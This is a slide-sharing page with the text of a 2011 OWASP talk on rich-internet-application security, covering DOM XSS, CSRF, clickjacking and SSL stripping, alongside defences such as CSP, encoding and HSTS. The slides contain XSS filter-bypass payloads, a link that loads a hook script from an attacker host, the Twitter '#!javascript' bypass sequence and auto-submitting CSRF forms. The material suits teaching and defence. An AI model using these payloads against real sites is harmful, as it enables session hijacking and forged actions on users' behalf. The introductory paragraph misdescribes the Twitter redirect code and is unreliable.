Recently uploaded

Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationSlibray Presentation
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupFlorian Wilhelm
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo DayH2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo DaySri Ambati
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clashcharlottematthew16
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostLeverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostZilliz
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxhariprasad279825
 

Recently uploaded (20)

Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck Presentation
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project Setup
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo DayH2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clash
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostLeverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptx
 

This code is parsing the URL fragment identifier (everything after #!) and setting the window.location to that value, effectively redirecting the page. So if the URL was something like "https://twitter.com/#!/johnwilander#malicious_script", it would redirect to "https://twitter.com/malicious_script", executing the malicious script in the context of twitter.com

  • 1. Application Security for RIAs John Wilander, & OWASP Wednesday, November 2, 2011
  • 2. Frontend developer at Svenska Handelsbanken Researcher in application security Co-leader OWASP Sweden @johnwilander johnwilander.com (music) OWASP == The Open Web Application Security Project Cheat sheets, tools, code, guidelines https://owasp.org Wednesday, November 2, 2011
  • 4. OWASP Top 10 Top web application security risks 2010 Wednesday, November 2, 2011
  • 5. 1. Injection 2. Cross-Site Scripting (XSS) 3. Broken Authentication and Session Management 4. Insecure Direct Object References 5. Cross-Site Request Forgery (CSRF) 6. Security Misconfiguration 7. Insecure Cryptographic Storage 8. Failure to Restrict URL Access 9. Insufficient Transport Layer Protection 10. Unvalidated Redirects and Forwards Wednesday, November 2, 2011
  • 6. ”Do I have to care?” Wednesday, November 2, 2011
  • 7. Likelihood of ≥ 1 vulnerability on your site From: WhiteHat Website Security Statistic Report, Winter 2011 Wednesday, November 2, 2011
  • 8. Per extension .asp .aspx .do .jsp .php Sites having had ≥ 1 74 % 73 % 77 % 80 % 80 % serious vulnerability Sites currently having ≥ 1 57 % 58 % 56 % 59 % 63 % serious vulnerability From: WhiteHat Website Security Statistic Report, Spring 2010 Wednesday, November 2, 2011
  • 9. But we’re moving towards more code client-side Wednesday, November 2, 2011
  • 10. Client-Side, JavaScript Vulnerabilities From: IBM X-Force 2011 Mid-Year Trend and Risk Report Wednesday, November 2, 2011
  • 11. Client-Side, JavaScript Vulnerabilities From: IBM X-Force 2011 Mid-Year Trend and Risk Report Wednesday, November 2, 2011
  • 12. Focus Today • Cross-Site Scripting (XSS) • Cross-Site Request Forgery (CSRF) • Clickjacking • Man-In-the-Middle SSL Wednesday, November 2, 2011
  • 13. XSS ... the hack that keeps on hacking Wednesday, November 2, 2011
  • 14. Cross-Site Scripting Theory Scripting ite ross-S C Wednesday, November 2, 2011
  • 15. Cross-Site Scripting Type 1, reflected Scripting Cross-Site Ph isin g Wednesday, November 2, 2011
  • 16. Cross-Site Scripting Type 2, stored s-Si te C ros Wednesday, November 2, 2011
  • 17. Cross-Site Scripting Type 2, stored Scripting Wednesday, November 2, 2011
  • 18. Cross-Site Scripting Type 0, DOM-based ng i pti Scr Cros s-Sit e Ph isin g Wednesday, November 2, 2011
  • 19. Cross-Site Scripting Type 0, DOM-based ng i pti Scr Cros No server roundtrip! s-Sit e Also, single-page interfaces make injected scripts ”stick” Ph isi in thenDOM. g Wednesday, November 2, 2011
  • 20. https://secure.bank.com/ authentication#language=sv&country=SE Wednesday, November 2, 2011
  • 21. https://secure.bank.com/ authentication#language=sv&country=SE Never sent to server Be careful when you use this data on your page Wednesday, November 2, 2011
  • 22. Would you click this? https://secure.bank.com/authentication #language=<script src="http://attackr.se: 3000/hook.js"></script>&country=SE Wednesday, November 2, 2011
  • 23. Would you click this? https://secure.bank.com/authentication #language=%3Cscript%20src%3D%22http%3A%2F %2Fattackr.se%3A3000%2Fhook.js%22%3E%3C %2Fscript%3E&country=SE Wednesday, November 2, 2011
  • 24. Would you click this? http://bit.ly/Yg4T32 Wednesday, November 2, 2011
  • 25. Filter out <script>? var ... , stripScriptsRe = /(?:<script.*?>)((n|r|.)*?)(?:</script>)/ig, /** * Strips all script tags * @param {Object} value The text from which to strip script tags * @return {String} The stripped text */ stripScripts : function(v) { return !v ? v : String(v).replace(stripScriptsRe, ""); }, http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts Wednesday, November 2, 2011
  • 26. Filter out <script>? <img src=1 onerror=alert(1)> <svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> <body onload=alert('XSS')> <table background="javascript:alert('XSS')"> ¼script¾alert(¢XSS¢)¼/script¾ <video poster=javascript:alert(1)// Wednesday, November 2, 2011
  • 27. ”C’mon, such attacks don’t really work, do they?” Yep, demo. Wednesday, November 2, 2011
  • 28. DOM-Based XSS Twitter September 2010 Full story at http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html Wednesday, November 2, 2011
  • 29. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; } })(window); Wednesday, November 2, 2011
  • 30. (function(g){ What does this code do? var a = location.href.split("#!")[1]; if(a) { g.location = a; } })(window); Wednesday, November 2, 2011
  • 31. ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander” (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; } })(window); Wednesday, November 2, 2011
  • 32. ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander” (function(g){ window.location = var a = location.href.split("#!")[1]; ”/johnwilander” if(a) { ’/’ => keeps the domain but initial g.location = a; changes the path } })(window); Wednesday, November 2, 2011
  • 33. ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander” (function(g){ window.location = var a = location.href.split("#!")[1]; ”/johnwilander” if(a) { ’/’ => keeps the domain but initial g.location = a; changes the path } So })(window); twitter.com/#!/johnwilander becomes twitter.com/johnwilander Read more: http://kotowicz.net/absolute/ Wednesday, November 2, 2011
  • 34. http://twitter.com/ #!javascript:alert(document.domain); Wednesday, November 2, 2011
  • 35. http://twitter.com/ #!javascript:alert(document.domain); Never sent to server => DOM-based XSS Wednesday, November 2, 2011
  • 36. The Patch™ var c = location.href.split("#!")[1]; if (c) { window.location = c.replace(":", ""); } else { return true; } Wednesday, November 2, 2011
  • 37. The Patch™ var c = location.href.split("#!")[1]; if (c) { window.location = c.replace(":", ""); } else { return true; } Replaces the first occurance of the search string Wednesday, November 2, 2011
  • 38. http://twitter.com/ #!javascript::alert(document.domain); Wednesday, November 2, 2011
  • 39. http://twitter.com/ #!javascript::alert(document.domain); Wednesday, November 2, 2011
  • 40. The 2nd Patch™ (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window); Wednesday, November 2, 2011
  • 41. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window); Regexp pattern delimiters Wednesday, November 2, 2011
  • 42. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window); Regexp pattern delimiters Global match Wednesday, November 2, 2011
  • 43. (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window); Regexp pattern delimiters Global match Ignore case Wednesday, November 2, 2011
  • 44. Were they done now? Wednesday, November 2, 2011
  • 45. http://twitter.com #!javascript&x58;alert(1) Wednesday, November 2, 2011
  • 46. http://twitter.com #!javascript&x58;alert(1) HTML entity version of ’:’ Wednesday, November 2, 2011
  • 47. The n:th Patch™ (this one works) (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location.pathname = a; } })(window); And hey, Twitter is doing the right thing: https://twitter.com/about/security Wednesday, November 2, 2011
  • 48. Fix these issues properly with ... Client-Side Encoding Wednesday, November 2, 2011
  • 49. https://github.com/chrisisbeef/jquery-encoder • $.encoder.canonicalize() Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b> • $.encoder.encodeForCSS() Encodes for safe usage in style attribute and style() • $.encoder.encodeForHTML() Encodes for safe usage in innerHTML and html() • $.encoder.encodeForHTMLAttribute() Encodes for safe usage in HTML attributes • $.encoder.encodeForJavaScript() Encodes for safe usage in event handlers etc • $.encoder.encodeForURL() Encodes for safe usage in href etc Wednesday, November 2, 2011
  • 50. https://github.com/chrisisbeef/jquery-encoder • $.encoder.canonicalize() Throws Error for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b> • $.encoder.encodeForCSS() Encodes for safe usage in style attribute and style() • $.encoder.encodeForHTML() Encodes for safe usage in innerHTML and html() • $.encoder.encodeForHTMLAttribute() Encodes for safe usage in HTML attributes • $.encoder.encodeForJavaScript() Encodes for safe usage in event handlers etc • $.encoder.encodeForURL() Encodes for safe usage in href etc Wednesday, November 2, 2011
  • 51. Let’s do a short demo of that Wednesday, November 2, 2011
  • 52. Also, check out ... Content Security Policy http://people.mozilla.com/~bsterne/ content-security-policy/ Wednesday, November 2, 2011
  • 53. New HTTP Response Header Saying ... Only allow scripts from whitelisted domains and only allow scripts from files, i.e. no inline scripts Wednesday, November 2, 2011
  • 54. 'self' = same URL, protocol and port X-Content-Security-Policy: default-src 'self' Accept all content including scripts only from my own URL+port X-Content-Security-Policy: default-src *; script-src trustedscripts.foo.com Accept media only from my URL+port (images, stylesheets, fonts, ...) and scripts only from trustedscripts.foo.com Wednesday, November 2, 2011
  • 55. CSRF my current favorite! Wednesday, November 2, 2011
  • 56. Cross-Site Request Forgery Request For gery Cro ss-S ite Wednesday, November 2, 2011
  • 57. Cross-Site Request Forgery Request Forgery Cros s-Site Ph isin g Wednesday, November 2, 2011
  • 58. Is www.attackr.se allowed to load images like this: <img src=”https://secure.bank.com/ logo.png" /> ? Wednesday, November 2, 2011
  • 59. Is www.attackr.se allowed to load images like this: <img src=”https://secure.bank.com/ authentication#language=sv&country=SE" /> ? Wednesday, November 2, 2011
  • 60. With image tags www.attackr.se can silently send HTTP GET requests to any domain <img src=”https://secure.bank.com/ authentication#language=sv&country=SE" height=0 width=0 /> Wednesday, November 2, 2011
  • 61. ”Will restricting to HTTP POST save me?” Wednesday, November 2, 2011
  • 62. What’s on your mind? What’s on your mind? POST POST Wednesday, November 2, 2011
  • 63. What’s on your mind? What’s on your mind? I love OWASP! POST POST Wednesday, November 2, 2011
  • 64. What’s on your mind? What’s on your mind? I love OWASP! POST POST John: I love OWASP! Wednesday, November 2, 2011
  • 65. What’s on your mind? What’s on your mind? POST POST Wednesday, November 2, 2011
  • 66. What’s on your mind? What’s on your mind? POST I hate OWASP! POST Wednesday, November 2, 2011
  • 67. What’s on your mind? What’s on your mind? POST I hate OWASP! POST Wednesday, November 2, 2011
  • 68. What’s on your mind? What’s on your mind? POST I hate OWASP! POST John: I hate OWASP! Wednesday, November 2, 2011
  • 69. What’s on your mind? What’s on your mind? POST <form id="target" method="POST" action="https://1-liner.org/form"> John: I hate OWASP! <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/> </form> <script type="text/javascript"> $(document).ready(function() { $('#form').submit(); }); </script> Wednesday, November 2, 2011
  • 70. <form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" What’s on your mind? What’s on your mind? value="POST"/> POST </form> John: I hate OWASP! <script> $(document).ready(function() { $('#target').submit(); }); </script> Wednesday, November 2, 2011
  • 71. There used to be a protection in web 1.5 Wednesday, November 2, 2011
  • 72. Forced Browsing wizard-style Shipment info ✉ Payment info $ Next Buy! Wednesday, November 2, 2011
  • 73. Forced Browsing wizard-style Shipment info ✉ Payment info $ Token Next Buy! Wednesday, November 2, 2011
  • 74. Forced Browsing wizard-style Token 1 Token 2 Token 3 Wednesday, November 2, 2011
  • 75. Forced Browsing wizard-style Token 1 Token 2 Token 3 State built up i steps, server roundtrip in-between Wednesday, November 2, 2011
  • 76. Forced Browsing wizard-style Token 1 Token 2 Token 3 ge for n’t to uld est Co qu re t step las out a w tith oken va lid Wednesday, November 2, 2011
  • 77. But in RIAs ... Wednesday, November 2, 2011
  • 78. RIA & client-side state { ”purchase”: {} } Wednesday, November 2, 2011
  • 79. RIA & client-side state { ”purchase”: { ”items”: [{}] } } Wednesday, November 2, 2011
  • 80. RIA & client-side state { ”purchase”: { ”items”: [{},{}] } } Wednesday, November 2, 2011
  • 81. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {} } } Wednesday, November 2, 2011
  • 82. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } } Wednesday, November 2, 2011
  • 83. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } } Wednesday, November 2, 2011
  • 84. Can an attacker forge such a JSON structure? Wednesday, November 2, 2011
  • 85. CSRF possible? { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } } Wednesday, November 2, 2011
  • 86. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form> Wednesday, November 2, 2011
  • 87. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form> Wednesday, November 2, 2011
  • 88. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form> Wednesday, November 2, 2011
  • 89. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> Forms produce a request body that <input type="text" like this: looks name=”” value="" /> theName=theValue ... and that’s not valid JSON. <input type="submit" value="Go" /> </form> Wednesday, November 2, 2011
  • 90. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}//' value="dummy" /> <input type="submit" value="Go" /> </form> Wednesday, November 2, 2011
  • 91. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" Produces a request body that looks enctype="text/plain"> like this: <input type="text" {"id": 0, "nickName": name='{"id": 0, "nickName": "John", "John","oneLiner": "I "oneLiner": "I hate OWASP!", hate OWASP!","timestamp": "timestamp": "20111006"}//' "20111006"}//=dummy value="dummy" /> ... and that is acceptable JSON! <input type="submit" value="Go" /> </form> Wednesday, November 2, 2011
  • 92. Demo POST CSRF against REST service Wednesday, November 2, 2011
  • 93. Demo XSS + CSRF with The Browser Exploitation Framework http://beefproject.com/ Wednesday, November 2, 2011
  • 94. Important in your REST API • Restrict HTTP method, e.g. POST Easier to do CSRF with GET • Restrict to AJAX if applicable X-Requested-With:XMLHttpRequest Cross-domain AJAX prohibited by default • Restrict media type(s), e.g. application/json HTML forms only allow URL encoded, multi-part and text/plain Wednesday, November 2, 2011
  • 95. Attacker may spoof headers via Flash proxy http://lists.webappsec.org/pipermail/ websecurity_lists.webappsec.org/2011- February/007533.html Wednesday, November 2, 2011
  • 97. Double Submit (CSRF protection) Anti-CSRF value as cookie ... ... and request parameter Wednesday, November 2, 2011
  • 98. Double Submit (CSRF protection) cookie ≠ request parameter Cannot read the anti-CSRF cookie to include it as parameter Wednesday, November 2, 2011
  • 99. Double Submit (CSRF protection) Anti-CSRF cookie can be generated client-side => no server-side state Wednesday, November 2, 2011
  • 100. How To Get It Right • Join your local OWASP chapter https://www.owasp.org/index.php/OWASP_Chapter • Start following these fellas on Twitter: @WisecWisec @0x6D6172696F @garethheyes @internot_ @securityninja @jeremiahg @kkotowicz @webtonull @manicode @_mwc • Start hacking – it’s fun! Best place to start? Your own apps of course. Just stay legal ;) Wednesday, November 2, 2011
  • 101. @johnwilander john.wilander@owasp.org http://appsandsecurity.blogspot.com Wednesday, November 2, 2011
  • 102. Clickjacking and MItM if there’s time Wednesday, November 2, 2011
  • 104. X-Frame-Options http://blogs.msdn.com/b/ie/archive/ 2009/01/27/ie8-security-part-vii- clickjacking-defenses.aspx http://tools.ietf.org/html/draft- gondrom-frame-options-01 Wednesday, November 2, 2011
  • 105. No page can load me in an iframe or only my own domain can load me in an iframe Wednesday, November 2, 2011
  • 106. X-Frame-Options: DENY X-Frame-Options: SAMEORIGIN (Coming: X-Frame-Options: ALLOW-FROM [list]) Wednesday, November 2, 2011
  • 108. Moxie’s SSL Strip http https Terminates SSL Normal https to the server Changes https to http Acts as client Wednesday, November 2, 2011
  • 109. Moxie’s SSL Strip http https Secure cookie? Encoding, gzip? Cached content? Ongoing sessions? Wednesday, November 2, 2011
  • 110. Moxie’s SSL Strip http https Secure cookie? Strip secure attribute off all cookies Encoding, gzip? Strip off all request encodings Cached content? Strip off all if-modified-since in request Ongoing sessions? 302 back to same page, set-cookie expired Wednesday, November 2, 2011
  • 111. SSL Strip & Tor login.yahoo.com 114 Gmail 50 Tor node Hotmail 13 PayPal 9 Tor node In 24 h Tor exit node with SSL Strip e Wednesday, November 2, 2011
  • 112. HTTP Strict Transport Security http://tools.ietf.org/html/draft- ietf-websec-strict-transport-sec-02 Wednesday, November 2, 2011
  • 113. Require SSL without warnings for X seconds ahead and potentially do the same for my subdomains too Wednesday, November 2, 2011
  • 114. Strict-Transport-Security: max-age=86400 Strict-Transport-Security: max-age=86400; includeSubdomains Wednesday, November 2, 2011
  • 115. W3C Web Application Security Working Group http://www.w3.org/2011/webappsec/ Wednesday, November 2, 2011